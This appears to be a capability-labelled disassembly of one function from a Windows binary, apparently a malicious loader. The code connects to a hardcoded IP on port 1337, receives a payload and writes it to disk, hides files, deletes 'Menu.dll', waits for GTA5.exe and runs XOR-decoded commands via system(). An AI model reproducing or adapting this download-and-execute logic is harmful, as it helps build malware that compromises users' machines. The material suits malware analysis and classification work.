Function at 0x140001ed0
Capabilities:
Connect socket
Delete file
Encode data using xor
Enumerate processes
Execute command
Get file attributes
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set file attributes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x560]
sub rsp, 0x660
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x550], rax
xor r14d, r14d
mov ecx, 0x202
lea rdx, [rbp + 0x3b0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400028e2
xor r8d, r8d
lea edx, [rax + 1]
mov ebx, 2
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rbp - 0x70], rax
lea r8, [rbp + 0xcc]
lea rdx, str.207.244.238.186
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_InetPtonW]
mov word [rbp + 0xc8], bx
mov ecx, 0x539
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0xca], ax
lea r8d, [r14 + 0x10]
lea rdx, [rbp + 0xc8]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x1400028d9
call fcn.1400018f0
mov r15, qword [0x14000a188]
mov r12, qword [0x14000a1c8]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, r12
jb 0x140002943
lea r13, [0x14000a178]
cmp qword [0x14000a190], 0x10
cmovae r13, qword [0x14000a178]
lea rax, [0x14000a1b8]
cmp qword [0x14000a1d0], 0x10
cmovae rax, qword [0x14000a1b8]
mov qword [rbp + 0xc0], rax
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], r14
lea rsi, [r12 + r15]
mov ebx, recv
lea rdi, [rsp + 0x30]
cmp rsi, rbx
jbe 0x140002098
mov rbx, rsi
cmp rsi, 0x10
cmovb rbx, qword [reloc.WS2_32.dll_recv]
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000202e
mov rbx, rcx
jmp 0x14000203a
mov eax, socket
cmp rbx, rax
cmovb rbx, rax
mov rcx, rbx
add rcx, 1
mov rax, 0xffffffffffffffff
cmovb rcx, rax
cmp rcx, 0x1000
jb 0x140002081
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000293d
mov rcx, rax
call fcn.140004ba0
test rax, rax
je 0x14000225f
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140002093
test rcx, rcx
je 0x140002090
call fcn.140004ba0
mov rdi, rax
jmp 0x140002093
mov rdi, r14
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rbx
mov r8, r15
mov rdx, r13
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rdi + r15]
mov r8, r12
mov rdx, qword [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r14b
lea r9, [0x14000a050]
cmp qword [0x14000a068], 0x10
cmovae r9, qword [0x14000a050]
mov rdi, qword [0x14000a060]
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x14000212e
lea rax, [rdi + rcx]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi], 0
lea rax, [rsp + 0x30]
jmp 0x140002140
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140004690
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], recv
mov byte [rax], 0
lea r9, [rsp + 0x50]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r15, xmm0
cmp r15, 0x10
cmovae r9, rdi
mov rcx, qword [0x14000a1a8]
mov rdx, qword [0x14000a1b0]
mov rax, rdx
sub rax, rcx
movq rsi, xmm1
lea r13, [0x14000a198]
cmp rsi, rax
ja 0x1400021d6
lea rax, [rcx + rsi]
mov qword [0x14000a1a8], rax
mov rbx, r13
cmp rdx, 0x10
cmovae rbx, qword [0x14000a198]
add rbx, rcx
mov r8, rsi
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rsi], 0
jmp 0x1400021f0
mov qword [rsp + 0x20], rsi
mov rdx, rsi
mov rcx, r13
call fcn.140004690
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x50]
cmp r15, 0x10
jb 0x14000222b
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140002222
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002222
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140004e2c
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000226b
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002266
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002266
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e2c
mov rcx, qword [0x14000a198]
mov r8, qword [0x14000a1a8]
cmp qword [0x14000a1b0], 0x10
jb 0x140002290
lea rdi, [rcx + r8]
lea rbx, [rcx + r8]
mov rsi, rcx
jmp 0x14000229b
lea rdi, [r8 + r13]
lea rbx, [r8 + r13]
mov rsi, r13
mov r12, rdi
cmp rsi, rbx
je 0x140002301
movsx ecx, byte [rsi]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
test eax, eax
jne 0x1400022b8
inc rsi
cmp rsi, rbx
jne 0x1400022a3
mov r8, qword [0x14000a1a8]
mov rcx, qword [0x14000a198]
cmp rsi, rbx
je 0x140002301
lea r15, [rsi + 1]
cmp r15, rbx
je 0x140002301
movsx ecx, byte [r15]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isspace]
test eax, eax
jne 0x1400022eb
movzx eax, byte [r15]
mov byte [rsi], al
inc rsi
inc r15
cmp r15, rbx
jne 0x1400022d4
mov r8, qword [0x14000a1a8]
mov rcx, qword [0x14000a198]
mov rdx, rsi
mov rax, r8
cmp qword [0x14000a1b0], 0x10
jb 0x140002316
sub rdx, rcx
jmp 0x14000231f
sub rdx, r13
mov r12, rdi
mov rcx, r13
sub r12, rsi
sub rax, rdx
cmp rax, r12
cmovb r12, rax
add rcx, rdx
sub r8, r12
mov qword [0x14000a1a8], r8
sub r8, rdx
inc r8
lea rdx, [rcx + r12]
call sub.VCRUNTIME140.dll_memmove
lea rcx, str.Menu.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
movups xmmword [rbp + 0x124], xmm0
movups xmmword [rbp + 0x134], xmm0
movups xmmword [rbp + 0x144], xmm0
movups xmmword [rbp + 0x154], xmm0
mov dword [rbp + 0xe0], r14d
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], recv
cmp qword [0x14000a060], 0x10
mov r8d, reloc.WS2_32.dll_recv
cmovb r8, qword [0x14000a060]
cmp qword [0x14000a068], 0x10
lea rdx, [0x14000a050]
cmovae rdx, qword [0x14000a050]
lea rcx, [rsp + 0x30]
call fcn.140004150
lea r8, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae r8, qword [rsp + 0x30]
mov edx, 0x40
lea rcx, [rbp + 0xe4]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140002444
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000243f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000243f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140004e2c
lea r8, str.placeholder
mov edx, 0x40
lea rcx, [rbp + 0x124]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
xor r9d, r9d
mov r8d, 0x84
lea rdx, [rbp + 0xe0]
mov rdi, qword [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0x84
jne 0x1400028d9
xor edx, edx
mov r8d, 0x114
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
xor r9d, r9d
mov r8d, 0x114
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0x114
jne 0x1400028d9
cmp dword [rbp - 0x60], 0
jne 0x14000291a
movsxd rcx, dword [rbp - 0x5c]
call fcn.140004e34
mov rbx, rax
xor r9d, r9d
mov r8d, dword [rbp - 0x5c]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, dword [rbp - 0x5c]
jne 0x140002590
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x170]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x170]
call fcn.140003bb0
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
cmp dword [rbp + rcx + 0x180], 0
jne 0x140002584
movsxd r8, dword [rbp - 0x5c]
mov rdx, rbx
lea rcx, [rbp + 0x170]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x178]
call fcn.1400040d0
test rax, rax
jne 0x140002566
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x170]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, [0x140006710]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea edx, [rax + 2]
lea rcx, [0x140006710]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
nop
lea rcx, [rbp + 0x170]
call fcn.1400016b0
mov edi, 8
mov eax, dword [rbp - 0x58]
cmp eax, 2
jne 0x14000263e
mov eax, 0x21
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400069a0]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140006980]
movdqu xmmword [rsp + 0x68], xmm1
mov word [rsp + 0x78], 0xe2eb
xor ecx, ecx
mov dword [rsp + 0x7a], ecx
mov word [rsp + 0x7e], cx
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rsp + rcx + 0x58], al
inc rcx
mov rax, qword [rsp + 0x50]
cmp rcx, rax
jb 0x1400025e0
mov byte [rsp + rax + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.1400011b0
mov eax, 0xb
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140006970]
movdqu xmmword [rsp + 0x38], xmm0
mov rcx, r14
nop
lea eax, [rcx - 0x3f]
xor byte [rsp + rcx + 0x38], al
inc rcx
mov rax, qword [rsp + 0x30]
cmp rcx, rax
jb 0x140002620
mov byte [rsp + rax + 0x38], 0
jmp 0x140002889
cmp eax, 1
jne 0x1400027e0
mov eax, 0x20
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400069a0]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x1400069b0]
movdqu xmmword [rsp + 0x68], xmm1
mov byte [rsp + 0x78], 0xe1
xor ecx, ecx
mov dword [rsp + 0x79], ecx
mov word [rsp + 0x7d], cx
mov byte [rsp + 0x7f], cl
mov rcx, r14
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x3f]
xor byte [rsp + rcx + 0x58], al
inc rcx
mov rax, qword [rsp + 0x50]
cmp rcx, rax
jb 0x140002690
mov byte [rsp + rax + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.1400011b0
lea rax, [rsp + 0x50]
mov qword [rbp - 0x68], rax
lea rsi, vtable.std::_Func_impl_no_alloc_class__lambda_2d889a7543661dc29a51d8e0811dd566___bool__unsigned_long_int_.0
nop dword [rax]
nop word [rax + rax]
mov qword [rsp + 0x50], rsi
lea rax, [rsp + 0x50]
mov qword [rbp - 0x78], rax
mov dword [rbp + 0x170], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rbp + 0x174]
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x170]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400027a5
lea rdx, str.GTA5.exe
lea rcx, [rbp + 0x19c]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
mov rcx, rbx
test eax, eax
je 0x14000274c
lea rdx, [rbp + 0x170]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x14000271a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
test rcx, rcx
sete dl
test rcx, rcx
je 0x140002786
mov eax, dword [rbp + 0x178]
mov dword [rbp + 0xc0], eax
test dl, dl
jne 0x1400027d9
mov rax, qword [rcx]
lea rdx, [rbp + 0xc0]
call qword [rax + reloc.WS2_32.dll_recv]
test al, al
je 0x1400027af
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140002894
mov rax, qword [rcx]
lea rdx, [rsp + 0x50]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
jmp 0x140002894
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x1400027c9
lea rdx, [rsp + 0x50]
cmp rcx, rdx
mov rax, qword [rcx]
setne dl
call qword [rax + 0x20]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400026d0
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
nop
test eax, eax
jne 0x140002894
mov eax, 0x24
mov qword [rsp + 0x50], rax
movdqa xmm0, xmmword [0x1400069a0]
movdqu xmmword [rsp + 0x58], xmm0
movdqa xmm1, xmmword [0x140006990]
movdqu xmmword [rsp + 0x68], xmm1
mov dword [rsp + 0x78], 0xee978b89
mov byte [rsp + 0x7c], 0xe5
xor ecx, ecx
mov word [rsp + 0x7d], cx
mov byte [rsp + 0x7f], cl
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rsp + rcx + 0x58], al
inc rcx
mov rax, qword [rsp + 0x50]
cmp rcx, rax
jb 0x140002830
mov byte [rsp + rax + 0x58], 0
lea rcx, [rsp + 0x58]
call fcn.1400011b0
mov qword [rsp + 0x30], rdi
movdqa xmm0, xmmword [0x140006960]
movdqu xmmword [rsp + 0x38], xmm0
mov rcx, r14
nop dword [rax]
lea eax, [rcx - 0x3f]
xor byte [rsp + rcx + 0x38], al
inc rcx
mov rax, qword [rsp + 0x30]
cmp rcx, rax
jb 0x140002870
mov byte [rsp + rax + 0x38], 0
lea rcx, [rsp + 0x38]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rsp + 0x30], rdi
movdqa xmm0, xmmword [0x140006950]
movdqu xmmword [rsp + 0x38], xmm0
nop word [rax + rax]
lea eax, [r14 - 0x3f]
xor byte [rsp + r14 + 0x38], al
inc r14
mov rdi, qword [rsp + 0x30]
cmp r14, rdi
jb 0x1400028b0
mov byte [rsp + rdi + 0x38], 0
lea rcx, [rsp + 0x38]
call fcn.1400011b0
mov rdi, qword [rbp - 0x70]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rcx, qword [rbp + 0x550]
xor rcx, rsp
call fcn.140004b80
lea r11, [rsp + 0x660]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rsp + 0x30]
call fcn.140002950
mov rcx, rax
call fcn.140002970
mov rcx, rax
call fcn.1400011b0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001310
int3
call fcn.1400013b0
int3